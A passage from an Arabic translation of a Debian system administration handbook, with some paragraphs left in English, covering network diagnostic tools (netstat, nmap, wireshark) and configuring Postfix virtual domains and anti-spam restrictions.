لنتحدث أولاً عن الأمر netstat (من حزمة net-tools)؛ يعرض هذا الأمر ملخصًا آنياً عن نشاط الشبكة في الجهاز. عند استدعاء هذا الأمر بدون متغيرات، سوف يعرض جميع الاتصالات المفتوحة؛ قد تكون هذه القائمة طويلة جداً لأنها تحوي العديد من مقابس نطاق يونكس – Unix-domain sockets (التي تستخدمها خدمات النظام بشكل واسع) والتي لا علاقة لها بالشبكة مطلقًا (مثل اتصالات dbus، أو بيانات X11، والاتصالات بين نظم الملفات الظاهرية وسطح المكتب).

لذلك تستخدم عادة خيارات لتغيير هذا السلوك عند استدعاء netstat. من الخيارات الأكثر استخداماً نذكر:

-t، الذي يفلتر النتائج بحيث تعرض اتصالات TCP فقط؛

-u، الذي يعطي نتيجة مشابهة ولكن لاتصالات UDP؛ يمكن استخدام هذين الخيارين معاً، ويكفي استخدام أحدهما لإيقاف عرض اتصالات نطاق يونكس؛

-a، يستخدم لعرض المقابس المنصتة أيضًا (التي تنتظر اتصالات واردة)؛

-n، لعرض النتائج عددياً: إظهار عناوين IP (دون مقابلات DNS)، وأرقام المنافذ (دون ألقاب كما هي معرفة في /etc/services) وأرقام تعريف المستخدمين (دون أسماء تسجيل الدخول)؛

-p، يستخدم لعرض العمليات المتصلة؛ هذا الخيار مفيد فقط عند تشغيل netstat بصلاحيات root، لأن المستخدمين العاديين لن يروا إلا عملياتهم؛

-c، لتحديث قائمة الاتصالات بشكل مستمر.

هناك خيارات أخرى، موثـقة في صفحة التعليمات netstat(8)‎، تقدم تحكماً أكبر بالنتائج المعروضة. عملياً، تستخدم الخيارات الخمسة الأولى معاً كثيراً حتى أن مديري النظم والشبكات اكتسبوا التعليمة netstat -tupan كمنعكس لا إرادي. قد تبدو النتائج النموذجية لهذا الأمر، على جهاز حمله خفيف، كما يلي:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

كما هو متوقع، يسرد هذا الأمر الاتصالات المفتوحة، وهما اتصالا SSH في هذا المثال، والتطبيقات التي تنتظر الاتصالات الواردة (ذات الحالة LISTEN)، أهمها مخدم البريد الإلكتروني Exim4 الذي ينصت على المنفذ 25.

10.9.2. التشخيص عن بعد: nmap

إن nmap (المتوفر في الحزمة ذات الاسم نفسه) هو –بشكل أو بآخر– مكافئ لـ netstat ولكن يعمل عن بعد. يستطيع nmap فحص مجموعة من المنافذ ”المعروفة“ لمخدم بعيد واحد أو لمجموعة من المخدمات، وسرد المنافذ التي يجد تطبيقاً يجيب على الاتصالات الواردة إليها. بالإضافة لذلك، يستطيع nmap التعرف على بعض هذه التطبيقات، بل يتعرف أحياناً على أرقام إصدارها. الجانب السلبي لهذه الأداة هو أنها لا تستطيع تقديم معلومات عن العمليات أو المستخدمين، لأنها تعمل عن بعد بطبيعة الحال؛ لكنها تستطيع العمل على عدة أهداف في الوقت ذاته.

في الحالة النموذجية لا يستخدم إلا الخيار -A عند استدعاء nmap (حتى يحاول nmap التعرف على إصدارات برمجيات المخدم التي يعثر عليها) يليه عنوان IP واحد أو أكثر أو أسماء DNS للأجهزة المراد فحصها. هنا أيضًا توجد الكثير من الخيارات الأخرى للتحكم بسلوك nmap؛ ولمعرفتها يمكنك الرجوع إلى التوثيق المتاح في صفحة التعليمات nmap(1)‎.

# nmap mirtuel Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:05 CET Nmap scan report for mirtuel (192.168.1.242) Host is up (0.000013s latency). rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds # nmap -A localhost Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:17 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000039s latency). Other addresses for localhost (not scanned): ::1 Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 33:a1:d8:b1:e5:5b:b2:0d:15:1b:8e:76:7f:e4:d7:3d (RSA) | 256 8f:83:cf:fa:b3:58:54:9a:1d:1b:4c:db:b1:e2:58:76 (ECDSA) |_ 256 fa:3d:58:62:49:92:93:90:52:fe:f4:26:ca:dc:4c:40 (ED25519) 25/tcp open smtp Exim smtpd 4.92 | smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP, |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 631/tcp open ipp CUPS 2.2 | http-methods: |_ Potentially risky methods: PUT | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.2 IPP/2.1 |_http-title: Home - CUPS 2.2.10 Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.7 - 3.10 Network Distance: 0 hops Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

كما هو متوقع، التطبيقان SSH و Exim4 مذكوران. لاحظ أنه لا تنصت جميع التطبيقات إلى جميع عناوين IP؛ فبما أن الوصول إلى Exim4 ممكن عبر الواجهة المحلية lo فقط، نراه يظهر فقط أثناء تحليل localhost ولا نراه عند فحص mirtuel (الذي يشير إلى الواجهة eth0 على الجهاز نفسه).

10.9.3. برامج التقاط الرزم (Sniffers): ‏tcpdump وwireshark

أحياناً، يحتاج المرء للاطلاع على ما يجري في الكابلات، رزمة رزمة. هذه الحالات تحتاج ”محلل إطارات – frame analyzer“، أو ما يعرف أكثر باسم sniffer. تراقب هذه الأدوات كافة الرزم التي تصل إلى واجهة شبكية معينة، وتعرضها بأسلوب قريب للمستخدم.

الأداة الرائدة في هذا المجال هي tcpdump بلا منازع، وهي متوفرة في العديد من المنصات كأداة قياسية. تسمح هذه الأداة بأنماط عديدة لالتقاط رزم الشبكة، لكن تمثيل هذه الرزم يبقى غامضاً نوعاً ما. لذلك لن نُفصِّل في شرحها أكثر من ذلك هنا.

wireshark (في الحزمة wireshark) هو برنامج أحدث (وأكثر تطوراً)، وقد أصبح الأداة المرجعية الجديدة في مجال تحليل نشاط الشبكات وذلك نتيجة تعدد وحدات فك الترميز التي تسمح له بتقديم تحليل مبسط للرزم الملتقطة. تعرض الرزم رسومياً وتنظم حسب طبقات البروتوكول. هذا يسمح للمستخدم برؤية جميع بروتوكولات الرزمة. مثلاً، إحدى الرزم تحوي طلب HTTP، سوف يعرض wireshark المعلومات المتعلقة بالطبقة الفيزيائية، وطبقة إيثرنت، ومعلومات IP الخاصة بالرزمة، ومتغيرات اتصالات TCP، وأخيراً طلب HTTP نفسه، وذلك بصورة منفصلة؛ كل على حدة.

شكل 10.1. محلل رزم الشبكة wireshark

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

تلميح wireshark دون الواجهة الرسومية: tshark

عندما لا يمكن تشغيل واجهة رسومية، أو عندما لا يرغب المرء في ذلك لسبب ما، يمكن استخدام النسخة النصية من wireshark المتوفرة بالاسم tshark (في الحزمة المنفصلة tshark). معظم مزايا الالتقاط وفك الترميز متاحة فيه، لكن افتقاره إلى واجهة رسومية يؤدي بالضرورة إلى تقييد التفاعل مع البرنامج (فلترة الرزم بعد التقاطها، أو تتبع اتصال TCP معين، وغيرها). إلا أنه يمكن استخدامه كمرحلة أولى. وإذا كان هناك نية في تنفيذ المزيد من المعالجة التي تحتاج للواجهة الرسومية، يمكن حفظ الرزم في ملف ثم تحميل هذا الملف في نسخة wireshark رسومية تعمل على جهاز آخر.

فصل 11. خدمات الشبكة: Postfix،‏ Apache،‏ NFS،‏ Samba،‏ Squid،‏ LDAP،‏ SIP،‏ XMPP،‏ TURN

خدمات الشبكة هي البرامج التي يتفاعل معها المستخدمون مباشرة في عملهم اليومي. فهي غيض من فيض نظام المعلومات، ويركز عليها هذا الفصل؛ الأجزاء المخفية التي يعتمدون عليها هي البنية التحتية التي وصفناها بالفعل. وهي عادة ما تتطلب تقنية التشفير الموصوفة في قسم 10.2, “X.509 certificates”.

11.1. مخدم البريد الإلكتروني

اختار مديرو النظم في شركة فلكوت Postfix كمخدم للبريد الإلكتروني، وذلك لموثوقيته وسهولة إعداده. وفعلاً، يفرض تصميمه استخدام عملية منفصلة تتمتع مجموعة صغيرة من الصلاحيات لكل واحدة من مهماته، وهذا إجراء ممتاز للحد من ضرر المشاكل الأمنية.

بدائل مخدم Exim4

تستخدم دبيان مخدم Exim4 كمخدم افتراضي للبريد الإلكتروني (لذلك يرفق Exim4 مع التثبيت الأولي). الإعدادات متوفرة في حزمة منفصلة، هي exim4-config، وهي تخصص آلياً اعتماداً على إجابات مجموعة من أسئلة Debconf تشبه كثيراً الأسئلة التي تطرحها الحزمة postfix.

إما أن تكون الإعدادات في ملف مفرد (/etc/exim4/exim4.conf.template) أو منفصلة في عدد من ملفات الضبط المخزنة في المجلد /etc/exim4/conf.d/. في كلا الحالتين، يستخدم update-exim4.conf الملفات كقالب لتوليد الملف /var/lib/exim4/config.autogenerated. يستخدم Exim4 الملف الأخير. بفضل هذه الآلية، يمكن حقن القيم المأخوذة من إعدادات debconf للمخدم Exim —المخزَّنة في /etc/exim4/update-exim4.conf.conf— في ملف إعداد Exim، حتى عندما يُعدِّل مدير النظام أو الحزم الأخرى على إعدادات Exim الافتراضية.

صيغة إعدادات Exim4 لها مميزاتها وتحتاج زمناً لتعلمها؛ لكن إذا فهمت هذه المميزات، فإن Exim4 هو خادم بريد إلكتروني مكتمل وقوي جداً، كما تشهد عشرات صفحات الوثائق.

→ http://www.exim.org/docs.html

11.1.1. تثبيت Postfix

تتضمن الحزمة postfix خدمة SMTP الرئيسية. أما الحزم الأخرى (مثل postfix-ldap وpostfix-pgsql) فهي تضيف وظائف زائدة إلى Postfix، منها الوصول إلى قواعد معطيات جهات الاتصال. عليك تثبيتها فقط إذا كنت تعرف أنك تحتاجها.

أساسيات SMTP

SMTP (بروتوكول نقل البريد البسيط ، RFC 5321) هو البروتوكول المستخدم من قبل ملقمات البريد لتبادل رسائل البريد الإلكتروني وتوجيهها.

تطرح Debconf عدة أسئلة أثناء تثبيت الحزمة. تسمح الإجابات بتوليد نسخة أولية من ملف الإعداد /etc/postfix/main.cf.

يستفسر السؤال الأول عن نوع الإعداد. هناك إجابتين فقط من الإجابات المقترحة تناسب حالة المخدمات المتصلة بالإنترنت، هما ”Internet site“ و ”Internet with smarthost“. الأول مناسب للمخدمات التي تستقبل البريد الوارد وترسل البريد الصادر مباشرة إلى متلقيه، ولذلك فهو يناسب حالة شركة فلكوت تماماً. أما الثاني فيلائم المخدمات التي تستقبل البريد الوارد بشكل طبيعي، لكنها ترسل البريد الصادر عبر مخدم SMTP وسيط —”المضيف الذكي smarthost“— بدلاً من إرسالها مباشرة إلى المخدم المتلقي. يناسب هذا الخيار كثيراً الأفراد الذين يملكون عناوين IP ديناميكية، لأن العديد من مخدمات البريد الإلكتروني ترفض الرسائل الواردة من هذه العناوين. في هذه الحالة، سيكون المضيف الذكي عادة مخدم SMTP تابع لمزود خدمة الإنترنت، ويكون مُعدّاً بحيث يستقبل دوماً البريد الوارد من زبائن المزود وتوجيهها بشكل مناسب. هذا الإعداد (مع المضيف الذكي) يناسب أيضاً المخدمات التي لا تتصل بالإنترنت دائماً، حتى تتفادى إدارة رتل من الرسائل غير المسلّمة التي يجب إعادة محاولة إرسالها لاحقاً.

مصطلحات ISP

ISP هو اختصار للعبارة ”Internet Service Porvider“ (مزود خدمة الإنترنت). يشير المصطلح إلى الهيئة (غالباً شركة تجارية) التي تزود اتصالات بالإنترنت والخدمات الأساسية المرتبطة بها (بريد إلكتروني، أخبار، وغيرها) إلى زبائنها.

يهتم السؤال الثاني بالاسم الكامل للجهاز، الذي سيستخدم لتوليد عناوين البريد الإلكتروني اعتماداً على اسم المستخدم المحلي (هذا هو الجزء الذي يوضع خلف علامة ”@“). في حالة فلكوت، يجب أن تكون الإجابة mail.falcot.com. هذا هو السؤال الوحيد الذي يطرح افتراضياً، لكن الإعداد الناتج ليس كاملاً كفاية بالنسبة لحاجات فلكوت، لذلك استدعى مديرو النظم الأمر dpkg-reconfigure postfix حتى يتمكنوا من تخصيص المزيد من المتغيرات.

أحد الأسئلة الإضافية يطلب جميع أسماء النطاقات المرتبطة بهذا الجهاز. تتضمن القائمة الافتراضية الاسم الكامل بالإضافة لبضعة مرادفات للاسم localhost. لكن يجب إضافة النطاق الرئيسي falcot.com يدوياً. بصورة عامة، يجب إجابة هذا السؤال بإعطاءه جميع أسماء النطاقات التي سيعمل هذا المخدم معها كمخدم MX؛ بكلمات أخرى، جميع أسماء النطاقات التي يبين مخدم DNS أنها تستطيع استقبال البريد الإلكتروني. ينتهي المطاف بهذه المعلومات في المتغير mydestination في الملف /etc/postfix/main.cf (ملف الإعداد الرئيسي لمخدم Postfix).

شكل 11.1. دور السجل MX (سجل DNS) أثناء إرسال البريد

إضافة الاستعلام عن سجلات MX

عندما لا يحوي DNS سجل MX لنطاق ما، سيحاول مخدم البريد إرسال الرسائل إلى المضيف نفسه، عبر استخدام سجل A الموافق (أو AAAA في IPv6).

في بعض الحالات، قد يسأل التثبيت أيضاً عن الشبكات التي يجب السماح لها بإرسال البريد عبر الجهاز. في الإعداد الافتراضي، يقبل Postfix الرسائل الإلكترونية التي ترد من الجهاز نفسه فقط؛ لذلك نحتاج إضافة الشبكة المحلية عادة. أضاف مديرو النظم في شركة فلكوت 192.168.0.0/16 إلى الإجابة الافتراضية. إذا لم يطرح عليك هذا السؤال، فالمتغير الموافق له في ملف الإعداد هو mynetworks، كما هو واضح في المثال أدناه.

كما يمكن تسليم البريد الإلكتروني المحلي من خلال procmail. هذه الأداة تسمح للمستخدمين بفرز بريدهم الإلكتروني الوارد وفقًا للقواعد المخزنة في ملف ~/.procmailrc . يقترح كل من Postfix و Exim4 procmail بشكل افتراضي ، ولكن هناك بدائل مثل maildrop أو مرشحات منخل(Sieve).

بعد هذه الخطوة الأولى، حصل مديرو النظم على ملف الإعداد التالي؛ الذي سيستخدمونه كنقطة انطلاق لإضافة بعض الوظائف الأخرى كما هو مشروح في الأقسام التالية.

مثال 11.1. ملف /etc/postfix/main.cf الأولي

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_command = procmail -a "$EXTENSION" mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all

أمن شهادات زيت الثعبان

الشهادات التي تدعى شهادات زيت الثعبان (snake oil)، مثل ”دواء“ زيت الثعبان الذي كان يبيعه المشعوذون عديمو الضمير في الأيام الخالية، ليس لها أي قيمة على الإطلاق: فلا يمكنك الاعتماد عليها للتحقق من هوية المخدم لأنها تولَّد آلياً ومُوقّعة ذاتياً (self-signed). لكنها تفيد في زيادة خصوصية التبادلات على أي حال.

بشكل عام يجب أن تستخدم فقط لأغراض الاختبار، والخدمة العادية يجب أن تستخدم شهادات حقيقية. دعونا تشفير تقدم مبادرة مجانية وموثوق بها SSL / TLS الشهادات، والتي يمكن إنشاؤها باستخدام certbot حزمة كما هو موضح في قسم 11.2.2, “Adding support for SSL” ثم استخدامها في postfix مثل هذا:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

يتم وصف طريقة مختلفة لإنشاء الشهادات الخاصة في قسم 10.2.2, “البنية التحتية للمفاتيح العامة: easy-rsa”.

11.1.2. إعداد النطاقات الظاهرية

يستطيع مخدم البريد استقبال الرسائل الإلكترونية المرسلة إلى نطاقات أخرى بالإضافة إلى النطاق الرئيسي؛ تُعرَف هذه النطاقات باسم النطاقات الظاهرية (Virtual Domains). في معظم الحالات التي يحدث فيها هذا، لا تكون الرسائل موجهة في النهاية إلى المستخدمين المحليين. يُقدِّم Postfix ميزتين تفيدان في إدارة النطاقات الظاهرية.

تحذير النطاقات الظاهرية والنطاقات الأصلية

يجب عدم الإشارة لأي نطاق ظاهري في المتغير mydestination؛ فهذا المتغير يحوي فقط أسماء النطاقات ”الاصلية canonical“ التي ترتبط مباشرة مع الجهاز مستخدميه المحليين.

11.1.2.1. النطاقات الظاهرية للأسماء المستعارة

لا يحوي نطاق الأسماء المستعارة الظاهري إلا أسماء مستعارة (aliases) فقط، أي عناوين تستخدم لتوجيه الرسائل إلى عناوين أخرى فقط.

تُنشّط هذه النطاقات بإضافة أسمائها إلى المتغير virtual_alias_domains، والإشارة إلى ملف مقابلة الأسماء في المتغير virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

يُعرِّف الملف /etc/postfix/virtual التقابلات بصيغة بسيطة نوعاً ما: كل سطر يحوي حقلين تفصلهما مسافة بيضاء؛ الحقل الأول هو الاسم المستعار، أما الحقل الثاني فيحوي قائمة بالعناوين البريدية التي يشير إليها ذلك الاسم. تغطي الصيغة الخاصة @domain.com جميع الأسماء المستعارة المتبقية في النطاق.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.com domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.com @falcot.com

After changing /etc/postfix/virtual the postfix table /etc/postfix/virtual.db needs to be updated using sudo postmap /etc/postfix/virtual.

11.1.2.2. نطاقات صناديق البريد الظاهرية

تحذير نطاقات ظاهرية مزدوجة ?

لا يسمح Postfix باستخدام النطاق نفسه في virtual_alias_domains و virtual_mailbox_domains معاً، لكن جميع النطاقات في virtual_mailbox_domains تضاف ضمنياً إلى virtual_alias_domains، وهذا يسمح بالجمع بين الأسماء المستعارة والصناديق البريدية في نطاق ظاهري واحد.

تُخزَّن الرسائل المرسلة إلى نطاقات صناديق البريد الظاهرية في صناديق بريدية غير مرتبطة بأي مستخدم محلي للنظام.

لتفعيل نطاق صناديق بريد ظاهري يجب إضافة اسم هذا النطاق إلى المتغير virtual_mailbox_domains، والإشارة إلى ملف تقابل الصناديق البريدية في المتغير virtual_mailbox_maps. أما المتغير virtual_mailbox_base فيحوي المجلد الذي تخزن الصناديق البريدية فيه.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

يشير المتغير virtual_uid_maps (أو المتغير virtual_gid_maps) إلى الملف الذي يحوي التقابلات بين العنوان البريدي ومستخدم النظام (أو المجموعة) الذي ”يملك“ هذا الصندوق البريدي. لمنح ملكية جميع الصناديق البريدية إلى مستخدم واحد أو مجموعة، يمكن استخدام الصيغة static:5000 التي تسند قيمة UID/GID ثابتة (القيمة 5000 هنا).

صيغة الملف /etc/postfix/vmailbox بسيطة جداً أيضاً: حقلين تفصلهما مسافة بيضاء. الحقل الأول هو عنوان بريد إلكتروني ضمن أحد النطاقات الظاهرية، والثاني موقع صندوق البريد المرتبط معه (نسبةً إلى المجلد المحدّد في virtual_mailbox_base). إذا انتهى اسم صندوق البريد بشرطة مائلة امامية (/)، ستخزّن الرسائل الإلكترونية في صيغة maildir؛ وإلا سوف تستخدم صيغة mbox التقليدية بدلاً منها. تَستخدِم صيغة maildir مجلداً كاملاً لتخزين صندوق البريد، وكل رسالة مفردة تُخزَّن في ملف منفصل. أما في صيغة mbox، فيخزن صندوق البريد كله في ملف واحد، وكل سطر يبدأ بالصيغة ”From “ (كلمة From تليها مسافة) تشير إلى بداية رسالة جديدة.

# Jean's email is stored as maildir, with # one file per email in a dedicated directory jean@falcot.org falcot.org/jean/ # Sophie's email is stored in a traditional "mbox" file, # with all mails concatenated into one single file sophie@falcot.org falcot.org/sophie

11.1.3. قيود الاستقبال والإرسال

تتطلب الأعداد المتزايدة من الرسائل غير المرغوبة (spam) زيادة التشديدات على السائل التي يجب أن يقبلها مخدم البريد. يعرض هذا القسم بعض الاستراتيجيات المضمنة في Postfix.

If the reject-rules are too strict, it may happen that even legitimate email traffic gets locked out. It is therefor a good habit to test restrictions and prevent the permanent rejection of requests during this time using the soft_bounce = yes directive. By prepending a reject-type directive with warn_if_reject only a log message will be recorded instead of rejecting the request.

ثقافة مشكلة الرسائل الدعائية

“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be likely discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages. Also every contact found at a compromised system is targeted.

يحاول جميع مديرو النظم مجابهة هذا الإزعاج بمرشحات الرسائل الدعائية، لكن طبعاً يستمر spammers في التكيف في سبيل المرور عبر هذه المرشحات. بل إن بعضهم يطلب خدمات من جماعات إجرامية لاستئجار شبكات من الأجهزة المصابة بدودة. تقدر الإحصائيات الأخيرة أن الرسائل الدعائية تشكل حتى 95% من مجمل الرسائل الإلكترونية التي تنتقل عبر الإنترنت!

11.1.3.1. تقييد الوصول حسب عناوين IP

يتحكم المتغير smtpd_client_restrictions بالأجهزة التي يسمح لها بالتواصل مع مخدم البريد الإلكتروني.

When a variable contains a list of rules, as in the example below, these rules are evaluated in order, from the first to the last. Each rule can accept the message, reject it, or leave the decision to a following rule. As a consequence, order matters, and simply switching two rules can lead to a widely different behavior.

مثال 11.2. القيود المفروضة اعتماداً على عنوان العميل

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

The permit_mynetworks directive, used as the first rule, accepts all emails coming from a machine in the local network (as defined by the mynetworks configuration variable).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

تلميح جداول access

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using an uncompressed copy of the /usr/share/doc/postfix/examples/access.gz file shipped with the postfix-doc package. This model is self-documented in its comments, which means each table describes its own syntax.

The /etc/postfix/access_clientip table lists IP addresses and networks; /etc/postfix/access_helo lists domain names; /etc/postfix/access_sender contains sender email addresses. All these files need to be turned into hash-tables (a format optimized for fast access) after each change, with the sudo postmap /etc/postfix/file command.

تسمح التعليمة الثالثة لمدير النظام بإعداد قائمة سوداء وقائمة بيضاء لمخدمات البريد الإلكتروني، تُخزَّن في الملف /etc/postfix/access_clientip. تعتبر المخدمات في القائمة البيضاء موثوقة، وبالتالي لا تمر الرسائل الواردة منها عبر قواعد الترشيح التالية.

The last four rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List, and RHSBL stands for Right-Hand Side Black List. The difference is that the former lists IP addresses, whereas the latter lists domain names. There are several such services. They list domains and IP addresses with poor reputation, badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.

تلميح القوائم البيضاء وقوائم RBL

أحياناً تتضمن القوائم السوداء مخدمات شرعية كانت ضحية حادثة طارئة. في هذه الحالات، سوف تُرفَض جميع الرسائل الإلكترونية التي ترد من أحد هذه المخدمات ما لم يذكر المخدم في قائمة بيضاء مُعرّفة في /etc/postfix/access_clientip.

Prudence therefore recommends including in the whitelist(s) all the trusted servers from which many emails are usually received.

11.1.3.2. التحقق من صحة أوامر EHLO أو HELO

Each SMTP exchange starts with a HELO (or EHLO) command, followed by the name of the sending email server. Checking the validity of this name can be interesting. To fully enforce the restrictions listed in smtpd_helo_restrictions the smtpd_helo_required option needs to be enabled. Otherwise clients could skip the restrictions by not sending any HELO/EHLO command.

مثال 11.3. القيود المفروضة على الاسم المُعلَن في EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

تسمح التعليمة التوجيهية permit_mynetworks لجميع الأجهزة في الشبكة المحلية بتقديم نفسها كيفما اتفق. هذه مهم، لأن بعض برامج البريد الإلكتروني لا تحترم هذا الجزء من بروتوكول SMTP بشكل كاف، ويمكن أن تقدم نفسها بأسماء غير منطقية.

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to too many rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

Using permit_mynetworks as the first rule has an interesting side effect: the following rules only apply to hosts outside the local network. This allows blacklisting all hosts that announce themselves as part of the falcot.com network, for instance by adding a falcot.com REJECT You are not in our network! line to the /etc/postfix/access_helo file.

11.1.3.3. القبول أو الرفض اعتماداً على المرسِل المُعلَن

لكل رسالة هناك مرسل، يُعلِن عنه الأمر MAIL FROM من بروتوكول SMTP؛ يمكن التحقق من هذه المعلومات أيضاً بأساليب عديدة.

مثال 11.4. التحقق من المرسل

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

يربط الجدول /etc/postfix/access_sender بعض المعاملات الخاصة ببعض المرسلين. هذا يعني إضافة بعض المرسلين إلى قائمة بيضاء أو سوداء عادة.

